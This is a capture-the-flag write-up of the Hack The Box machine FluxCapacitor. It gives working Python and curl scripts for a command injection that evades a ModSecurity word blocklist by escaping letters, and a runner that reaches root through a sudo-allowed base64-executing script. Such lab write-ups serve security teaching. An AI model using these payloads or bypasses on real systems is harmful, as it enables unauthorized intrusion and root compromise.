Skip to content
All writeups

HTB: FluxCapacitor

A command injection behind a ModSecurity blocklist is reached by sending a quote and a space unencoded and a backslash before every letter, and a sudo rule for a script that runs base64 from its argument turns nobody into root.

Published
Reading time
24 min
Difficulty
medium
Target
Linux (FluxCapacitor)

htblinuxwaf-bypasscommand-injectionmodsecurityopenrestysudo

Overview

FluxCapacitor is a medium Linux machine with one open port. OpenResty answers on 80 behind a ModSecurity rule set that announces itself as SuperWAF, and a comment in the front page names an endpoint, /sync, that prints a timestamp.

The chain is two steps. /sync takes a parameter that is pasted into a shell line, and the blocklist in front of it inspects words and a handful of characters, so a command with a backslash before every letter passes it and runs as nobody. nobody may run one root-owned script through sudo without a password, and that script executes whatever base64 it is given.

Two declarations. I had read write-ups of this box and remembered its outline: a filtering front, an endpoint with a command parameter, a sudo rule. A step that memory prompted or may have prompted says so where it happens; there are three. And the configuration quoted under Vulnerability Analysis was read as root after the chain was complete, not before.

Spawn to root took four minutes by the session log, about one of them spent on probes that could not have worked.

Reconnaissance

cd ../.. && bin/kali fluxcapacitor "nmap -sC -sV -oN /work/scans/02-top.nmap 10.129.1.87"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 07:12 +0000
Nmap scan report for 10.129.1.87
Host is up (0.26s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    OpenResty web app server 1.13.6.1
|_http-title: Keep Alive
|_http-server-header: SuperWAF

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds
[lr exit 0]

The first full-range scan failed on a wrong relative path to the container wrapper and sent nothing. The second:

cd ../.. && bin/kali fluxcapacitor "nmap -p- --min-rate 2000 -oN /work/scans/03-full.nmap 10.129.1.87"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 07:12 +0000
Nmap scan report for 10.129.1.87
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE    SERVICE
80/tcp   open     http
5355/tcp filtered llmnr

Nmap done: 1 IP address (1 host up) scanned in 42.97 seconds
[lr exit 0]

One service; the filtered 5355 is LLMNR and played no part. The Server header says SuperWAF while nmap’s probes and the 404 page below say OpenResty 1.13.6.1, which is nginx with a Lua runtime built in.

for p in / /robots.txt; do echo "### GET $p"; curl -s -i -m 15 "http://10.129.1.87$p"; echo; done
### GET /
HTTP/1.1 200 OK
Date: Thu, 26 Nov 2026 07:12:35 GMT
Content-Type: text/html
Content-Length: 395
Last-Modified: Tue, 05 Dec 2017 16:02:29 GMT
Connection: keep-alive
ETag: "5a26c315-18b"
Server: SuperWAF
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Keep Alive</title>
</head>
<body>
	OK: node1 alive
	<!--
		Please, add timestamp with something like:
		<script> $.ajax({ type: "GET", url: '/sync' }); </script>
	-->
	<hr/>
	FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
	<em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
</body>
</html>
[...]
### GET /robots.txt
HTTP/1.1 404 Not Found
[...]

The second cut is the rest of the stock 404 page for robots.txt.

The comment asks someone to call /sync. I requested it under three agents and with the host name from the page, with a missing page as the control:

echo "### /sync, curl default agent"; curl -s -i -m 15 http://10.129.1.87/sync; echo; echo "### /sync, no User-Agent header"; curl -s -i -m 15 -H "User-Agent:" http://10.129.1.87/sync; echo; echo "### /sync, agent x"; curl -s -i -m 15 -A x http://10.129.1.87/sync; echo; echo "### /sync, Host fluxcapacitor.htb, agent x"; curl -s -i -m 15 -A x -H "Host: fluxcapacitor.htb" http://10.129.1.87/sync; echo; echo "### /nosuchpage, agent x (control)"; curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -m 15 -A x http://10.129.1.87/nosuchpage
### /sync, curl default agent
HTTP/1.1 200 OK
Date: Thu, 26 Nov 2026 07:12:42 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
Server: SuperWAF

20261126T08:12:42

[...]
### /nosuchpage, agent x (control)
404 175
[lr exit 0]

The three cut blocks are the same answer one or two seconds later. The body is 19 bytes in the shape date +%Y%m%dT%H:%M:%S would print, one hour ahead of the Date header, so it is local time from the box and very likely the output of a process.

Attack Surface Analysis

  • A page comment discloses an unlinked endpoint (CWE-615).
  • /sync builds a shell command from a request parameter (CWE-78).
  • The only control in front of it is a list of forbidden words and characters (CWE-184), and it inspects a decoded copy of the value while the handler uses the raw one (CWE-436).
  • The web worker’s account has a sudo rule for a script that runs its argument (CWE-250, CWE-269).
  • Access and error logs are sent to /dev/null (CWE-778).

The first is visible from outside. The rest were established by the steps below and confirmed in the configuration afterwards.

Vulnerability Analysis

Everything in this section was read as root, after the fact, through the runner shown under Exploitation. The commands that fetched it are under Post-Exploitation.

The handler and its rules, from nginx -T:

[...]
	modsecurity on;
        location /sync {
	    default_type 'text/plain';

	    modsecurity_rules '
		SecDefaultAction "phase:1,log,auditlog,deny,status:403"
		SecDefaultAction "phase:2,log,auditlog,deny,status:403"

		SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

		SecRuleEngine On
		SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
		SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
		SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
		SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
		SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

		SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block"
	    ';

	    content_by_lua_block {
		local opt = 'date'
		if ngx.var.arg_opt then
			opt = ngx.var.arg_opt
		end

		-- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")

		local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
		local result = handle:read("*a")
		handle:close()
		ngx.say(result)
	    }

[...]

ngx.var.arg_opt is nginx’s $arg_opt: the parameter as it appears in the request line, not percent-decoded. The Lua block concatenates it into

CMD='/home/themiddle/checksync <opt>'; bash -c ${CMD} 2>&1

and hands the line to io.popen, which runs it with /bin/sh. The author put the value inside single quotes and stopped there. A value that begins with a quote closes the string, and what follows is shell syntax. For ' id' the line becomes

CMD='/home/themiddle/checksync ' id''; bash -c ${CMD} 2>&1

which is an assignment prefix on the command id: id runs with CMD in its environment only, the shell variable stays empty, and bash -c then complains that it has no argument. That complaint closes every output block below and is a reliable sign that the injection landed.

The rules are the second half. Rule 1 refuses browser agents. Rule 2 refuses the characters ; ( ) | < > & $ * and the backtick. Rule 3 refuses the flag file names, rule 4 a slash followed later by whitespace and another slash, rule 5 two dots, rule 6 the two characters ?s. Rule 99 refuses any value containing a phrase from unixcmd.txt, a list of 1,089 program names. None of them refuses a single quote, a space, a backslash or a slash on its own, and those four are enough: quote and space to break out, and a backslash before a letter, which the shell removes and a phrase match does not.

Every rule on the arguments applies t:urlDecode and the handler does not decode at all. That mismatch protects nothing here, but it shapes the request: an encoded quote is a quote to the filter and three literal characters to the shell, so the payload has to travel unencoded.

The script the sudo rule names, read as nobody:

[...]
#!/bin/bash

if [ "$1" == "cmd" ]; then
	echo "Trying to execute ${2}"
	CMD=$(echo -n ${2} | base64 -d)
	bash -c "$CMD"
fi
[...]

and the rule itself, from /etc/sudoers as root:

[...]
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root	ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
nobody ALL = (ALL) ALL
nobody ALL = (root) NOPASSWD: /home/themiddle/.monit
[...]

.monit is a root shell with one level of encoding. The line above the NOPASSWD entry allows nobody everything with a password. I did not check whether the account has one; either way the line does not belong there.

Exploitation

Phase 1: remote to nobody

A handler that prints a date and takes no visible input may still read a parameter. Memory prompted this step: I remembered that the endpoint took a command parameter, though not its name. I fuzzed names with the value test, matching any status and filtering the 19-byte normal answer:

cd ../.. && bin/kali fluxcapacitor "ffuf -s -mc all -fs 19 -t 40 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.1.87/sync?FUZZ=test -o /work/scans/06-params.json -of json | tee /work/scans/06-params.hits; echo done; wc -l /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt"
opt
done
6453 /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
[lr exit 0]

One name of 6,453 changed the answer. While the fuzz ran I measured the filter value it depends on, the normal answer with and without an unknown name:

curl -s -m 15 -A x http://10.129.1.87/sync | wc -c; curl -s -m 15 -A x "http://10.129.1.87/sync?zzz=test" | wc -c; tail -5 artifacts/03-full.out
19
19
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 07:12 +0000
[lr exit 0]

(The third line is a tail of an output file the full scan had not finished writing; the scan result is under Reconnaissance.) The hit was a 403, not different content: opt=test was refused, as the first probe below shows and the ffuf record confirms under Post-Exploitation. That says the front inspects this parameter by name, which is as good a marker as a changed body.

I probed with a script that lets curl encode each value:

# send each argument as the value of opt (url-encoded by curl) and print status, size and body
# usage: 09-opt.sh <value>...
for v in "$@"; do
  printf '### opt=[%s]\n' "$v"
  curl -s -m 15 -A x -G --data-urlencode "opt=$v" -w '\n[%{http_code} %{size_download} bytes %{time_total}s]\n' http://10.129.1.87/sync
done
bash artifacts/09-opt.sh 'test' '' '-u' '+%s' 'a b' "'" "''" ';' '|' '$' '`' 'id' ' id' '/' 'cat'
### opt=[test]
[...]
[403 175 bytes 0.680718s]
### opt=[]
20261126T08:13:59


[200 19 bytes 0.539540s]
[...]
### opt=[']
20261126T08:14:01


[200 19 bytes 0.475353s]
[...]
### opt=[;]
<html>
[...]
[403 175 bytes 0.544520s]
### opt=[|]
[...]
[403 175 bytes 0.536466s]
### opt=[$]
[...]
[403 175 bytes 0.545131s]
### opt=[`]
[...]
[403 175 bytes 0.550355s]
### opt=[id]
20261126T08:14:04


[200 19 bytes 0.518892s]
### opt=[ id]
20261126T08:14:05


[200 19 bytes 0.528936s]
[...]
### opt=[cat]
<html>
[...]
[403 175 bytes 0.538806s]
[lr exit 0]

In the cuts, -u, +%s, a b, '' and / returned the timestamp like the lines shown, and each 403 carried the same error page as the first. The pattern: shell metacharacters and the words test and cat are refused, a quote is not, and nothing accepted changes the output, date options included. A value that reaches a shell inside quotes would behave like that, so I tried closing the quote, with sleep as a timing control:

bash artifacts/09-opt.sh "' id" "' id'" "'id'" "' sleep 0'" "' sleep 4'" "' uname -a'" "x' id'"
### opt=[' id]
20261126T08:14:12


[200 19 bytes 0.556242s]
### opt=[' id']
20261126T08:14:13


[200 19 bytes 0.510465s]
### opt=['id']
20261126T08:14:13


[200 19 bytes 0.584096s]
### opt=[' sleep 0']
[...]
[403 175 bytes 0.505406s]
### opt=[' sleep 4']
[...]
[403 175 bytes 0.520870s]
### opt=[' uname -a']
[...]
[403 175 bytes 0.536362s]
### opt=[x' id']
20261126T08:14:15


[200 19 bytes 0.526381s]
[lr exit 0]

Nothing, and the timing control never ran: sleep was refused. curl’s --data-urlencode sends a space as +, so I repeated the values with %20:

# as 09-opt.sh, but the value is percent-encoded by python (a space is %20; curl --data-urlencode sends it as "+")
# usage: 11-opt.sh <value>...
for v in "$@"; do
  q=$(python3 -I -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$v")
  printf '### opt=[%s] sent as %s\n' "$v" "$q"
  curl -s -m 15 -A x -w '\n[%{http_code} %{size_download} bytes %{time_total}s]\n' "http://10.129.1.87/sync?opt=$q"
done
bash artifacts/11-opt.sh "' id'" "' id" 'a b' '-u' "' sleep 0'"
### opt=[' id'] sent as %27%20id%27
20261126T08:14:29


[200 19 bytes 0.494277s]
### opt=[' id] sent as %27%20id
20261126T08:14:29


[200 19 bytes 0.491284s]
### opt=[a b] sent as a%20b
20261126T08:14:30


[200 19 bytes 0.492892s]
### opt=[-u] sent as -u
20261126T08:14:30


[200 19 bytes 0.550408s]
### opt=[' sleep 0'] sent as %27%20sleep%200%27
[...]
[403 175 bytes 0.494940s]
[lr exit 0]

Then under other agents, in case something branched on the header:

for a in "curl/8.5.0" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" ""; do for u in "sync" "sync?opt=%27%20id%27" "sync?opt=%27id%27" "sync?opt=id"; do printf "### agent [%s] /%s\n" "$a" "$u"; curl -s -m 15 -H "User-Agent: $a" -w "[%{http_code} %{size_download} bytes]\n" "http://10.129.1.87/$u"; done; done
### agent [curl/8.5.0] /sync
20261126T08:14:42

[200 19 bytes]
### agent [curl/8.5.0] /sync?opt=%27%20id%27
20261126T08:14:43

[200 19 bytes]
### agent [curl/8.5.0] /sync?opt=%27id%27
20261126T08:14:43

[200 19 bytes]
### agent [curl/8.5.0] /sync?opt=id
20261126T08:14:44

[200 19 bytes]
### agent [Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0] /sync
<html>
[...]
[403 175 bytes]
### agent [Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0] /sync?opt=%27%20id%27
[...]
[403 175 bytes]
### agent [Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0] /sync?opt=%27id%27
[...]
[403 175 bytes]
### agent [Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0] /sync?opt=id
[...]
[403 175 bytes]
### agent [] /sync
20261126T08:14:47

[200 19 bytes]
### agent [] /sync?opt=%27%20id%27
20261126T08:14:48

[200 19 bytes]
### agent [] /sync?opt=%27id%27
20261126T08:14:48

[200 19 bytes]
### agent [] /sync?opt=id
20261126T08:14:49

[200 19 bytes]
[lr exit 0]

A browser agent is refused outright on /sync, which is worth knowing before opening the page in Firefox and concluding it is broken, and otherwise nothing moved. The three rounds after the first probe were the dead end of the box: under a minute on requests that could not work, because every one of them encoded the quote.

The reasoning that ended it: an encoded quote that the filter accepts and the shell ignores is consistent with a handler that never decodes. Here memory played a part, and I logged it at the time: write-ups of this box show the request typed raw. So the same values, with nothing encoded and a command that does not exist as the control:

# send each argument as the value of opt with no encoding at all (curl puts the bytes in the request line as given)
# usage: 13-raw.sh <value>...
for v in "$@"; do
  printf '### opt=[%s] raw\n' "$v"
  curl -s -m 15 -A x --globoff -w '\n[%{http_code} %{size_download} bytes %{time_total}s]\n' "http://10.129.1.87/sync?opt=$v"
done
bash artifacts/13-raw.sh "' id'" "'id'" "' id" "id" "-u" "' nosuchcmd9'"
### opt=[' id'] raw

[000 0 bytes 0.000006s]
### opt=['id'] raw
20261126T08:15:05


[200 19 bytes 0.616122s]
### opt=[' id] raw

[000 0 bytes 0.000004s]
### opt=[id] raw
20261126T08:15:05


[200 19 bytes 0.693743s]
### opt=[-u] raw
20261126T08:15:06


[200 19 bytes 0.876969s]
### opt=[' nosuchcmd9'] raw

[000 0 bytes 0.000005s]
[lr exit 3]

This curl will not send a URL containing a space: exit 3, status 000, nothing on the wire for three of the six. The raw quote without a space went out and changed nothing, which the analysis above explains ('id' leaves checksync id intact). A socket has no such opinions:

# send GET /sync?opt=<value> with the value's bytes placed in the request line exactly as given (no encoding), over a
# plain socket, and print the status line, the body and the time taken
# usage: 14-raw.py <value>...
import socket, sys, time
for v in sys.argv[1:]:
    s = socket.create_connection(("10.129.1.87", 80), timeout=20)
    t = time.time()
    s.sendall(("GET /sync?opt=%s HTTP/1.1\r\nHost: 10.129.1.87\r\nUser-Agent: x\r\nConnection: close\r\n\r\n" % v).encode())
    data = b""
    while True:
        try:
            c = s.recv(65536)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    s.close()
    head, _, body = data.partition(b"\r\n\r\n")
    print("### opt=[%s] raw -> %s, %d body bytes, %.2fs" % (v, head.split(b"\r\n")[0].decode("latin1"), len(body), time.time() - t))
    print(body.decode("latin1"))
python3 -I artifacts/14-raw.py "' id'" "' id" "' nosuchcmd9'" "a b"
### opt=[' id'] raw -> HTTP/1.1 200 OK, 109 body bytes, 0.27s
62
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
bash: -c: option requires an argument


0


### opt=[' id] raw -> HTTP/1.1 200 OK, 11 body bytes, 0.30s
1


0


### opt=[' nosuchcmd9'] raw -> HTTP/1.1 200 OK, 50 body bytes, 0.28s
27
bash: -c: option requires an argument


0


### opt=[a b] raw -> HTTP/1.1 200 OK, 30 body bytes, 0.41s
13
20261126T08:15:18


0


[lr exit 0]

The numbers around each body (62, 0) are chunk sizes: the script prints the chunked response as received. id ran as nobody. The control behaved as a control should in one respect and not another: the missing command produced no “command not found”, only the bash -c complaint, because sh wrote its error to a stderr that the 2>&1 at the far end of the line does not cover. An unclosed quote returns nothing for the same reason.

id had passed where test, cat, sleep and uname were refused, so the front knows command names. The value sits in a shell line, where a backslash before a letter is dropped, so the next request sent each command plain and escaped. I had read write-ups that defeat this filter by breaking up words and cannot say the idea was independent of them:

python3 -I artifacts/14-raw.py "' sudo -l'" "' \\s\\u\\d\\o -l'" "' ls -la /home'" "' \\l\\s -la /home'"
### opt=[' sudo -l'] raw -> HTTP/1.1 200 OK, 344 body bytes, 0.32s
14c
Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit
bash: -c: option requires an argument


0


[...]
### opt=[' ls -la /home'] raw -> HTTP/1.1 403 Forbidden, 175 body bytes, 0.28s
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>

### opt=[' \l\s -la /home'] raw -> HTTP/1.1 200 OK, 300 body bytes, 0.28s
120
total 16
drwxr-xr-x  4 root      root      4096 Dec  5  2017 .
drwxr-xr-x 22 root      root      4096 Mar 16  2021 ..
drwxr-xr-x  2 nobody    root      4096 Dec  5  2017 FluxCapacitorInc
drwxr-xr-x  4 themiddle themiddle 4096 Dec 24  2017 themiddle
bash: -c: option requires an argument


0


[lr exit 0]

The cut block is sudo -l escaped, identical to the plain one. ls plain is refused and \l\s runs. From here a small wrapper escaped every letter of whatever it was given:

# run each argument as a command through /sync: a backslash is put before every letter (the shell drops it, the front's
# word list no longer matches), the result is wrapped as ' <command>' and sent raw with 14-raw.py's request
# usage: 16-run.py <command>...     (no ; | $ or backtick: the front refuses those characters)
import re, subprocess, sys
for c in sys.argv[1:]:
    print("##### " + c)
    subprocess.run([sys.executable, "-I", "artifacts/14-raw.py", "' " + re.sub(r"([A-Za-z])", r"\\\1", c) + "'"])
python3 -I artifacts/16-run.py 'ls -la /home/themiddle /home/FluxCapacitorInc' 'cat /home/themiddle/.monit' 'ls -la /home/themiddle/.monit' 'uname -a'
### opt=[' \l\s -\l\a /\h\o\m\e/\t\h\e\m\i\d\d\l\e /\h\o\m\e/\F\l\u\x\C\a\p\a\c\i\t\o\r\I\n\c'] raw -> HTTP/1.1 403 Forbidden, 175 body bytes, 0.39s
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>

### opt=[' \c\a\t /\h\o\m\e/\t\h\e\m\i\d\d\l\e/.\m\o\n\i\t'] raw -> HTTP/1.1 200 OK, 173 body bytes, 0.37s
a2
#!/bin/bash

if [ "$1" == "cmd" ]; then
	echo "Trying to execute ${2}"
	CMD=$(echo -n ${2} | base64 -d)
	bash -c "$CMD"
fi
bash: -c: option requires an argument


0


### opt=[' \l\s -\l\a /\h\o\m\e/\t\h\e\m\i\d\d\l\e/.\m\o\n\i\t'] raw -> HTTP/1.1 200 OK, 113 body bytes, 0.32s
66
-rwxr-xr-x 1 root root 123 Dec  4  2017 /home/themiddle/.monit
bash: -c: option requires an argument


0


### opt=[' \u\n\a\m\e -\a'] raw -> HTTP/1.1 200 OK, 162 body bytes, 0.44s
97
Linux fluxcapacitor 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
bash: -c: option requires an argument


0


##### ls -la /home/themiddle /home/FluxCapacitorInc
##### cat /home/themiddle/.monit
##### ls -la /home/themiddle/.monit
##### uname -a
[lr exit 0]

The first command was refused despite the escaping. It names two paths, and rule 4 (a slash, then whitespace, then another slash) matches that; I read the rule only later; the other three commands in that call name one path each. The second command printed .monit, and the sudo listing had already said what it was for.

Phase 2: nobody to root

.monit decodes its second argument and runs it, so a script of any shape can go through as base64, whose alphabet is letters, digits, +, / and =. Letters get the backslash. The runner:

# run a script file as root: base64 it, pass it to the sudo-allowed /home/themiddle/.monit as "cmd <base64>", with a
# backslash before every letter as in 16-run.py, in a raw HTTP/1.0 request (no chunking, so lines arrive whole)
# usage: 17-root.py <script file>      prints the response body
import base64, re, socket, sys
b = base64.b64encode(open(sys.argv[1], "rb").read()).decode()
c = "sudo /home/themiddle/.monit cmd " + b
v = "' " + re.sub(r"([A-Za-z])", r"\\\1", c) + "'"
s = socket.create_connection(("10.129.1.87", 80), timeout=30)
s.sendall(("GET /sync?opt=%s HTTP/1.0\r\nHost: 10.129.1.87\r\nUser-Agent: x\r\n\r\n" % v).encode())
data = b""
while True:
    x = s.recv(65536)
    if not x:
        break
    data += x
head, _, body = data.partition(b"\r\n\r\n")
print("%s: %d bytes of script, %d in base64 (%d plus signs), request value %d bytes -> %s" % (sys.argv[1], len(open(sys.argv[1], "rb").read()), len(b), b.count("+"), len(v), head.split(b"\r\n")[0].decode("latin1")))
sys.stdout.write(body.decode("latin1"))

It uses HTTP/1.0 so the response is not chunked. Flags come back as B64FILE: lines, and a filter on the laptop writes those to disk and prints only a name and a size, so no flag appears in any output here:

# read runner output on stdin: "B64FILE:<name>:<base64>" lines are written with mode 0600 to <dir>/<name>
# (a name ending .txt goes to artifacts/) and replaced by name and size; the content of the optional
# second argument (a password file) is masked wherever it appears. cwd machines/<name>
# usage: ... | python3 -I tools/b64file-filter.py <dir> [file whose content is masked]
import re, sys, os, base64
d = sys.argv[1]
pw = open(sys.argv[2]).read().strip() if len(sys.argv) > 2 else None
os.makedirs(d, exist_ok=True)
for line in sys.stdin:
    line = line.rstrip("\r\n")
    if pw:
        line = line.replace(pw, "<masked>")
    m = re.match(r"B64FILE:([\w.-]+):(\S*)", line)
    if not m:
        print(line); continue
    data = base64.b64decode(m.group(2))
    path = ("artifacts/" if m.group(1).endswith(".txt") else d.rstrip("/") + "/") + m.group(1)
    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, data); os.close(fd)
    o = os.stat("."); os.chown(path, o.st_uid, o.st_gid); os.chown(os.path.dirname(path), o.st_uid, o.st_gid)  # in bin/kali the filter is root (Fulcrum)
    print("saved %s: %d bytes" % (path, len(data)))
exec 2>&1
id
ls -la /root /home/themiddle /home/FluxCapacitorInc
for f in $(find /home /root -maxdepth 2 \( -name user.txt -o -name root.txt \)); do
  ls -la "$f"; echo "B64FILE:$(basename "$f"):$(base64 -w0 "$f")"
done
python3 -I artifacts/17-root.py artifacts/17-root.sh | python3 -I ../../tools/b64file-filter.py loot
artifacts/17-root.sh: 220 bytes of script, 296 in base64 (0 plus signs), request value 624 bytes -> HTTP/1.1 200 OK
Trying to execute ZXhlYyAyPiYxCmlkCmxzIC1sYSAvcm9vdCAvaG9tZS90aGVtaWRkbGUgL2hvbWUvRmx1eENhcGFjaXRvckluYwpmb3IgZiBpbiAkKGZpbmQgL2hvbWUgL3Jvb3QgLW1heGRlcHRoIDIgXCggLW5hbWUgdXNlci50eHQgLW8gLW5hbWUgcm9vdC50eHQgXCkpOyBkbwogIGxzIC1sYSAiJGYiOyBlY2hvICJCNjRGSUxFOiQoYmFzZW5hbWUgIiRmIik6JChiYXNlNjQgLXcwICIkZiIpIgpkb25lCg==
uid=0(root) gid=0(root) groups=0(root)
/home/FluxCapacitorInc:
total 12
drwxr-xr-x 2 nobody root 4096 Dec  5  2017 .
drwxr-xr-x 4 root   root 4096 Dec  5  2017 ..
-rw-r--r-- 1 root   root   33 Dec  5  2017 user.txt

/home/themiddle:
total 56
drwxr-xr-x 4 themiddle themiddle  4096 Dec 24  2017 .
drwxr-xr-x 4 root      root       4096 Dec  5  2017 ..
-rw------- 1 themiddle themiddle     1 Dec 24  2017 .bash_history
-rw------- 1 root      root      12288 Dec 24  2017 .bash_history.swp
-rw-r--r-- 1 themiddle themiddle   220 Dec  2  2017 .bash_logout
-rw-r--r-- 1 themiddle themiddle  3771 Dec  2  2017 .bashrc
drwx------ 2 themiddle themiddle  4096 Dec  2  2017 .cache
-rwxr-xr-x 1 root      root        130 Dec  5  2017 checksync
-rwxr-xr-x 1 root      root        123 Dec  4  2017 .monit
drwxrwxr-x 2 themiddle themiddle  4096 Dec  8  2017 .nano
-rw-r--r-- 1 themiddle themiddle   675 Dec  2  2017 .profile
-rw-r--r-- 1 themiddle themiddle     0 Dec  2  2017 .sudo_as_admin_successful
-r--r--r-- 1 themiddle themiddle    33 Nov 26 08:12 user.txt

/root:
total 44
drwx------  4 root root  4096 Nov 26 08:12 .
drwxr-xr-x 22 root root  4096 Mar 16  2021 ..
-rw-------  1 root root     1 Dec 24  2017 .bash_history
-rw-r--r--  1 root root  3106 Oct 22  2015 .bashrc
drwx------  2 root root  4096 Mar 16  2021 .cache
drwxr-xr-x  2 root root  4096 Dec  4  2017 .nano
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-r--------  1 root root    33 Nov 26 08:12 root.txt
-rw-------  1 root root 11338 Dec 24  2017 .viminfo
-rw-------  1 root root     0 Dec 24  2017 .viminfo.tmp
bash: line 3: /usr/bin/find: Permission denied
bash: -c: option requires an argument

[lr exit 0]

Root, with a surprise: find is not executable, even for root, so the loop that was to collect the flags found nothing. The listing gave the paths anyway. I wrote a longer script with explicit paths and everything the post would need:

exec 2>&1
for f in /home/themiddle/user.txt /root/root.txt; do echo "B64FILE:$(basename $f):$(base64 -w0 $f)"; done
echo "### the older user.txt: same content as themiddle's?"; cmp /home/FluxCapacitorInc/user.txt /home/themiddle/user.txt && echo same
echo "### find"; ls -la /usr/bin/find; lsattr /usr/bin/find
echo "### checksync"; cat /home/themiddle/checksync
echo "### sudoers"; grep -v -e '^#' -e '^$' /etc/sudoers; ls -la /etc/sudoers.d; grep -r -v -e '^#' -e '^$' /etc/sudoers.d
echo "### crontab"; crontab -l; ls /etc/cron.d
echo "### nginx processes"; ps -eo user,pid,args | grep -i [n]ginx
B=$(readlink /proc/$(pgrep -o nginx)/exe); echo "### $B -T"; $B -T
python3 -I artifacts/17-root.py artifacts/18-root.sh | python3 -I ../../tools/b64file-filter.py loot; ls -la artifacts/user.txt artifacts/root.txt | cut -c1-60
artifacts/18-root.sh: 667 bytes of script, 892 in base64 (0 plus signs), request value 1729 bytes -> HTTP/1.1 403 Forbidden
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>
ls: cannot access 'artifacts/user.txt': No such file or directory
ls: cannot access 'artifacts/root.txt': No such file or directory
[lr exit 0]

Refused, and worse, I had appended a “user and root” line to the log in the same call, before reading the result. The log now carries that line and a correction under it. My first guess at the cause was length, 1,729 bytes against 624. I sent the first four lines alone, dropping the echo labels from two of them as I went, and logged it as a pure shortening:

exec 2>&1
for f in /home/themiddle/user.txt /root/root.txt; do echo "B64FILE:$(basename $f):$(base64 -w0 $f)"; done
cmp /home/FluxCapacitorInc/user.txt /home/themiddle/user.txt && echo same
ls -la /usr/bin/find; lsattr /usr/bin/find
python3 -I artifacts/17-root.py artifacts/19-flags.sh | python3 -I ../../tools/b64file-filter.py loot; ls -la artifacts/user.txt artifacts/root.txt | cut -c1-60
artifacts/19-flags.sh: 233 bytes of script, 312 in base64 (0 plus signs), request value 640 bytes -> HTTP/1.1 200 OK
Trying to execute ZXhlYyAyPiYxCmZvciBmIGluIC9ob21lL3RoZW1pZGRsZS91c2VyLnR4dCAvcm9vdC9yb290LnR4dDsgZG8gZWNobyAiQjY0RklMRTokKGJhc2VuYW1lICRmKTokKGJhc2U2NCAtdzAgJGYpIjsgZG9uZQpjbXAgL2hvbWUvRmx1eENhcGFjaXRvckluYy91c2VyLnR4dCAvaG9tZS90aGVtaWRkbGUvdXNlci50eHQgJiYgZWNobyBzYW1lCmxzIC1sYSAvdXNyL2Jpbi9maW5kOyBsc2F0dHIgL3Vzci9iaW4vZmluZAo=
saved artifacts/user.txt: 33 bytes
saved artifacts/root.txt: 33 bytes
/home/FluxCapacitorInc/user.txt /home/themiddle/user.txt differ: byte 1, line 1
-rw-r--r-- 1 root root 238080 Aug  4  2017 /usr/bin/find
--------------e---- /usr/bin/find
bash: -c: option requires an argument

[...]

The cut lines are a local ls of the two saved files, both 33 bytes. The platform accepted both; its record is under Post-Exploitation. user.txt in themiddle’s home is mode 444, so nobody could have read it; I did not read it separately at that privilege. The user.txt in the other home is a 2017 leftover with different content. find is mode 644: someone removed the execute bits.

